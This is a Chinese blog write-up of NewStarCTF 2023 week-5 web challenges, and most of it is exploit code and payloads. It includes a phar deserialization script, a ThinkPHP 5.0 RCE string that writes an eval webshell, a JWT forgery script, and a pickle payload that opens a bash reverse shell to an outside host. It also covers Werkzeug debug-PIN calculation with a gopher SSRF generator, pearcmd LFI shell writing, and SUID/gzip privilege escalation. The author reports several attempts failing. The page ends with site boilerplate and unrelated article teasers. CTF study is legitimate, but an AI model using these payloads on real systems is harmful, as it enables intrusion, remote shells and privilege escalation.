NewStarCTF 2023 week5--web

目录

Unserialize Again

法一:(非预期)

法二:

Final

Ye's Pickle

pppython?

4-复盘


Unserialize Again

f12告诉了我们cookie, 查看一下,可以发现  pairing.php
 

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{private $user='admin';public $pass;public $eating;public $God='false';public function __wakeup(){$this->user='human';if(1==1){die();}if(1!=1){echo $fffflag;}}public function __construct(){$this->user='AshenOne';$this->eating='fire';die();}public function __tostring(){return $this->user.$this->pass;}public function __invoke(){if($this->user=='admin'&&$this->pass=='admin'){echo $nothing;}}public function __destruct(){if($this->God=='true'&&$this->user=='admin'){system($this->eating);}else{die('Get Out!');}}
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){// $Eden=new story();$pear=$_GET['pear'];$Adam=$_GET['apple'];$file=file_get_contents('php://input');file_put_contents($pear,urldecode($file));file_exists($Adam);
}
else{echo '多吃雪梨';
} 多吃雪梨

法一:(非预期)

不管前面的反序列化,直接利用 php://input ,猜测路径为var/www/html
GET:  ?pear=/var/www/html/1.php&apple=1
POST: <?php eval($_POST['cmd']);?> urlencode一下
可以发现可以访问1.php  ,

但是 cmd=phpinfo(); 却没有反应,啥也没有,不知道为啥,看别人的博客应该是可以的

尝试尝试传一个 1.txt, 里面的内容也可以显示出来啊

不晓得为啥1.php就是无法执行命令, 蚁剑也连不上,可能哪里出问题了    哎,太菜了

法二:

phar反序列化, file_exists()参数可控, 配合phar://伪协议 进行反序列化

需要利用的

生成phar文件:
 

<?php
class story{public $God='true';public  $eating='ls /';
}$phar=new Phar('1.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$a=new story();
$phar->setMetadata($a);
$phar->addFromString('1.txt','test');
$phar->stopBuffering();

需要绕过__wakeup() 在记事本中打开生成的phar文件,修改一下相关的数字,改大一点
因为文件的内容改了,所以签名也需要换一个
相关的脚本

from hashlib import sha256with open("1.phar", 'rb') as file:f = file.read()s = f[:-40]h = f[-8:] newf = s + sha256(s).digest() + h  
with open('newtest.phar', 'wb') as file:file.write(newf)

利用python直接传

import urllib.parse
import requestsurl='http://ba0133bd-772b-45c9-bcb2-3dbf95a23a5d.node5.buuoj.cn:81/pairing.php'
params={'pear':'1.phar','apple':'phar://1.phar'
}
with open('newtest.phar','rb') as f:f=f.read()data=urllib.parse.quote(f)# print(data)res=requests.post(url=url,data=data,params=params)# print(res.text)


没有成功,
想着直接将urlencode 后的数据直接放在浏览器POST里面传参,但也没成功,
bp抓包传, 也没成功, 真有点不理解了,已经懵了
流程应该是这么个流程, 也不晓得中间哪个过程搞错了还是咋的, 一直弄不了

先放这里吧, 哎!
 

Final

thinkphp的版本漏洞,先搜一下5.0的漏洞

网上搜到的一个, 但是用不了,可能具体的版本不一样,尝试使它报错,得到具体的版本情况

随便仿照写一个  /index.php?s=1
可以发现具体的版本,再搜索一下
https://www.cnblogs.com/--kisaragi--/p/15315131.html

要利用的漏洞点

可以看到执行了 phpinfo 函数

但是这里禁用了system函数,

离谱了,之前都还行,现在环境又不行了 , 一样的参数,  我真服了, 重启也不行

后面应该就是写马了 ,因为被禁用了system函数, 利用exec函数进行写马, 然后蚁剑连接
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST['cmd']);?>' > /var/www/public/1.php

不过最后还需要suid提权, 使用这个命令寻找相关具有suid权限的命令

find / -user root -perm -4000 -print 2>/dev/nul

附上别人的几张张图, 可以用cp命令  
/dev/stdout:标准输出
直接将具有flag内容的文件复制到终端输出

流程应该是这么个流程, 环境可能有点问题, 没有复现出来

Ye's Pickle

app.py

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)def generate_random_string(length=16):characters = string.ascii_letters + string.digits  # 包含字母和数字random_string = ''.join(random.choice(characters) for _ in range(length))return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():payload=request.args.get("token")if payload:token=verify_jwt(payload, key, ['PS256'])session["role"]=token[1]['role']return render_template('index.html')else:session["role"]="guest"user={"username":"boogipop","role":"guest"}jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))return render_template('index.html',token=jwt)@app.route("/pickle")
def unser():if session["role"]=="admin":pickle.loads(base64.b64decode(request.args.get("pickle")))return render_template("index.html")else:return render_template("index.html")
if __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)

需要伪造jwt
使得 session['role']=='admin'
这个伪造的有点懵, 有点没怎么理解

import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encodedef topic(topic):""" Use mix of JSON and compact format to insert forged claims including long expiration """[header, payload, signature] = topic.split('.')parsed_payload = loads(base64url_decode(payload))parsed_payload['role'] = 'admin'fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'originaltoken ='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjA1OTk4OTAsImlhdCI6MTcyMDU5NjI5MCwianRpIjoiOGNmaV9BRWRsY3ViM1hsajJ5M0MwdyIsIm5iZiI6MTcyMDU5NjI5MCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.Jkr3-2vXnQIpAtpuxHbvgcK0z2vFa-LOanqQLOtGutNH_5aeORAw6yryHUvvFFckzaTAoIakk0s-90RtnSJdYozK0LgJr64drolvvuqKtpjuaaLTT4yIXR63VcjMuGdCl3jLioUpnVOgq_v_JIyZ4OA9uRaUnGzCiX8Q-CJKPu9AAMNFFlBCsbTVS2iEqOj2SGap4jlfSSJVQpd4syJREQCOE2RfYFwLRZ9S6IzkUH_wJbRnxrKi7uCGUimIp4oC2qmnqp8CvhoLQVKHtDL6OmSRetIqI_YVh7z8WNjMshZvJzjMNB4ZyMrpW5NNJ7IHNqzaE_2InvtzUJGxFuSAjA'
topic = topic(originaltoken)
print(topic)

?token=得到的结果
然后再进入 /pickle路由 进行pickle反序列化

import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

看了一下session已经是admin了啊,
但用自己的服务器总是没能反弹shell成功, 一直连不上

又没能复现成功,不过多了解了一下jwt的伪造 和 pickle反序列化也还行

pickle反序列化初探 - 先知社区

pppython?

<?phpif ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){header("Content-type: text/plain");system("ls / -la");exit();}try {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);$output = curl_exec($ch);echo $output;curl_close($ch);   }catch (Error $x){highlight_file(__FILE__);highlight_string($x->getMessage());}?>

根据要求传参 :?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
可以执行命令 ls / -la   列出目录及权限

注意lolita需要传参一个数组

前面所列出来的目录里面有个 app.py文件 尝试读取
ssrf漏洞 , 利用file://协议读取文件

from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_filesapp = Flask(__name__)app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():if session["islogin"] == True:return "flag{***********************}"app.run('0.0.0.0', 1314, debug=True)1

想着伪造session得到flag, 但好像伪造不了
又可以看到开启了debug, 可以计算pin值 ,进入到  /console 里面

依旧是利用file://协议 去读取所需要的文件

首先用户名 : root   (前面执行的 ls 那块的命令可以猜测出)
modname 一般默认为 flask.app
appname 一般默认为 flask
app.py的绝对路径一般是通过报错得到,但这里好像无法得到
通过进入到debug里面得到 : /usr/local/lib/python3.10/dist-packages/flask/app.py


?url=file:///sys/class/net/eth0/address&lolita[]=
网卡的mac地址:(转十进制)
709723444170211

machine-id是由两个值拼接的:
?url=file:///proc/sys/kernel/random/boot_id&lolita[]=  
             aac85635-508f-4b5b-be84-c1a02d61f9f7

?url=file:///proc/self/cgroup&lolita[]=   
cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope


题目应该出了点问题吧, 理论上不是应该是有个docker啥的啊
比如别人读取的文件, 应该是要有个docker然后再是后面的数字啊, 有点懵,感觉应该是环境变了

然后就是根据得到的信息计算pin值
直接拿别人的,改一下里面相应的值就行
 

import hashlib
from itertools import chain
import time
probably_public_bits = ['root'  'flask.app','Flask','/usr/local/lib/python3.10/site-packages/flask/app.py'
]private_bits = ['709723444170211','aac85635-508f-4b5b-be84-c1a02d61f9f7cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope''8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)def hash_pin(pin: str) -> str:return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

后面的一些步骤就有点看不懂了,唉, 又没能复现出来
看这篇文章
NewStarCTF 2023 公开赛道 Web_[newstarctf 2023 公开赛道]genshin-CSDN博客

frm的值为0, 因为没有报错

访问一下console,获取s值

?url=http://localhost:1314/console&lolita[]=

 s=Khhv9IfiCVDYPR2GvauW

得用gopher协议来打,实现rce,脚本:

import urllib.parse
import urllib.requestcmd = 'whoami'
s = "KsDz7oqmCrFx5nOp8vKz"
host = "127.0.0.1:1314"
# cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
pin = "113-575-700"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))

4-复盘

  <?php if (isset($_GET['page'])) {$page ='pages/' .$_GET['page'].'.php';}else{$page = 'pages/dashboard.php';}if (file_exists($page)) {require_once $page; }else{require_once 'pages/error_page.php';}?>

可以文件包含, 利用 pearcmd.php本地文件包含 写shell
payload:(套路格式)

?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+1.php
蚁剑连接之后会发现无法读取flag, 权限不够, 需要suid提权
使用gzip命令提权
gzip -f /flag -t
可以得到flag

NewStarCTF 2023 公开赛道 Web_[newstarctf 2023 公开赛道]genshin-CSDN博客

https://www.cnblogs.com/EddieMurphy-blogs/p/17813704.html
NewStarCtf 2023 week3&week4&week5 web部分题目复现_newstarctf include 馃崘-CSDN博客

[NewStarCTF 2023] web题解_ctf web题 发现多个公司员工email-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/45567.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Centos7 新增yum源

背景&#xff1a;原来的yum源&#xff0c;无法下载yum包了。新增一个阿里云的&#xff08;网易163的源失效了&#xff0c;无法使用&#xff09; Could not retrieve mirrorlist http://mirrorlist.centos.org/?release7&archx86_64&repoos&infrastock error was …

three.js官方案例webgpu_reflection.html学习记录

目录 ​1 判断浏览器是否支持 2 THREE.DirectionalLight 2.1DirectionalLightShadow 3 Texture 3.1 .wrapS 3.2 .wrapT 3.3 .colorSpace 4 创建地面 5 WebGPURenderer 6 OrbitControls 控制器 7 屏幕后处理 import * as THREE from three;import { MeshPhongNodeMa…

简析“请求头”——可以用“头部字典”按需定制请求头

请求头是HTTP请求的重要部分&#xff0c;可以用“头部字典”按需定制请求头。 (笔记模板由python脚本于2024年07月12日 19:28:44创建&#xff0c;本篇笔记适合喜欢钻研web知识点的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.python.org/ Free…

RSA算法(C++)

RSA加解密过程 RSA为非对称加密算法&#xff0c;由一对公钥和一对私钥构成&#xff0c;私钥加密公钥解密&#xff0c;公钥加密私钥解密 如下图,D为私密的&#xff0c;假设传输英文字母&#xff0c;我们给英文字母编号A1,B2,C3… RSA加解密过程 两对密钥产生方法如下 C Op…

【RHCE】基于密钥的身份验证(Win-Linux)

目的&#xff1a;要提⾼系统安全性&#xff0c;通过在 OpenSSH 服务器上禁⽤密码⾝份验证来强制进⾏基于密钥的⾝份验证。 1、一台虚拟机无需密码连接另一台虚拟机 .ssh目录 > 保存了ssh相关的key和一些记录文件 &#xff08;1&#xff09;生成密钥对 使⽤这个流程在本地…

U盘打不开的终极解决方案:原因剖析、恢复策略与预防之道

U盘困境&#xff1a;打不开的焦虑与应对 在数字化时代&#xff0c;U盘作为数据交换与存储的重要工具&#xff0c;几乎成为了每个人工作、学习和生活中的必需品。然而&#xff0c;当您满怀期待地将U盘插入电脑&#xff0c;却遭遇“无法识别”、“无法访问”等提示&#xff0c;U…

【人工智能】Transformers之Pipeline(一):音频分类(audio-classification)

​​​​​​​ 目录 一、引言 二、音频分类&#xff08;audio-classification&#xff09; 2.1 概述 2.2 技术原理 2.2.1 Wav2vec 2.0模型 2.2.1 HuBERT模型 2.3 pipeline参数 2.3.1 pipeline对象实例化参数 2.3.2 pipeline对象使用参数 2.4 pipeline实战 2.4.1 …

【Qt 基础】Qt Creator 的初步使用、创建项目的过程

文章目录 1. Qt SDK 中工具程序的介绍2. 创建第一个 Qt 项目的前置步骤 1. Qt SDK 中工具程序的介绍 下载之后会出现下面几个程序&#xff1a; Assistant 表示 Qt 自带的离线官方文档&#xff1b; Designer &#xff1a;Qt设计师&#xff0c;图形化的设计界面的工具&#xf…

C++程序进阶学习

目录 引言 C内存分区 一、内存分区模型 二、 程序运行前 三、程序执行后 C引用 引用的语法 作用 本质 优点 C封装 C对象特性 C对象模型和this指针 C友元 C运算符重载 C继承 C多态 C文件 引言 看过我博客的朋友可能都了解这篇文章内容了&#xff0c;这篇博…

超声波清洗机哪家好?家用超声波眼镜清洗机推荐

超声波清洗机现在已经成为了很多家庭的新宠&#xff0c;它能够帮助我们轻松解决日常生活中的清扫烦恼。但是&#xff0c;面对市面上品种繁多的清洗机产品&#xff0c;我们该如何选择一款适合自己的呢?毕竟不同的品牌和型号&#xff0c;在清洗效果、噪音水平、除菌能力等方面都…

RHCE-autofs自动挂载

要求 一、在主机上提供web&#xff0c;dns服务 服务端 IP&#xff1a;172.25.250.131/24 dns&#xff1a;172.25.250.131 [rootlocalhost ~]# cd /etc/httpd/conf.d[rootlocalhost conf.d]# vim vhost.conf [rootlocalhost conf.d]# mkdir /nfs/rhce -p[rootlocalhost conf…

雪深监测站的工作原理

TH-TS200雪深监测站是一种用于测量和记录雪层深度的设备&#xff0c;它在气象观测、交通管理、防灾减灾、水源管理等多个领域发挥着重要作用。雪深监测用来监测雪深的设备。它通过各种传感器和测量设备&#xff0c;如超声波测距仪、激光测距仪、压力传感器等&#xff0c;获取雪…

若依安装和初始化教程(傻瓜教程 一步一步走)

1、若依的安装&#xff1a; 1、找到若依官方网站并选择若依的前后端分离版本 2、点击克隆 然后选择http进行复制 3、打开idea 如果有打开的项目就先关闭项目&#xff0c;然后就会自动弹出下面第二张图片&#xff0c;接着按照流程走就可以 到此若依的下载就成功了 2、若依项目…

如何判断代码是否是在UPDATE TASK的Session中执行?

1. 背景 有时我们想控制ABAP代码在UPDATE TASK中的逻辑&#xff0c;例如某些逻辑执行&#xff0c;某些逻辑不执行。 那么&#xff0c;我们应该如何判断当前代码运行的环境呢&#xff1f;也即&#xff0c;怎么知道一段运行时代码是运行在当前的ABAP session中&#xff0c;还是…

IDEA设置代码提示忽略大小写

一、设置代码提示为忽略大小写 IDEA代码提示默认是区分大小写的&#xff0c;设置为提示忽略大小写&#xff1a; Setting——Editor——Code Completion 如图

智慧金融-数据可视化

智慧金融-数据可视化 导入所需的库 import numpy as np import numpy_financial as npf import matplotlib.pyplot as plt from pylab import mpl mpl.rcParams[font.sans-serif][FangSong] mpl.rcParams[axes.unicode_minus]False单图曲线图 r 0.05 # 贷款的年利率 n 30…

字符串哈希详解,单hash,双hash,滚动哈希

一、字符串哈希 1.1 基本概念 字符串哈希 将不同的字符串映射成不同的整数。 思想&#xff1a;将字符串映射成一个 p进制数字。 我们定义如下哈希函数&#xff1a; h a s h ( s ) ∑ i 1 n s [ i ] p n − i ( m o d M ) 其中 s 为长度为 n 的字符串&#xff0c;下标从…

【考研408操作系统】最容易理解的知识体系-文件管理-面向人类管理

苏泽 “弃工从研”的路上很孤独&#xff0c;于是我记下了些许笔记相伴&#xff0c;希望能够帮助到大家 我将以全新的视角用两篇文章梳理完考研计算机当中关于“文件管理”这个部分的考点的所有内容 以下是我整理的知识点思维导图 目录 我将以全新的视角用两篇文章梳理完考研…

代码随想录算法训练营第三十天

56. 合并区间 这道题跟452. 用最少数量的箭引爆气球 (opens new window)和 435. 无重叠区间 (opens new window)都是一个套路。 回了上面两个这道题并不难 这题主要就是发现重叠后更新一下当前元素的起始范围 if (intervals[i][0] < intervals[i-1][1]) {intervals[i][0…

和鲸101计划夏令营火热进行中!北中医助阵医学数据探索

上周&#xff0c;和鲸社区 2024 夏令营已经正式开营&#xff01; 从 2021 年开始&#xff0c;和鲸社区在每年暑假期间都会为大家提供集中化、系统化的数据科学相关的技能实践和培训&#xff0c;每年都有几千名同学借此机会积累宝贵的实战经验&#xff0c;丰富个人简历作品&…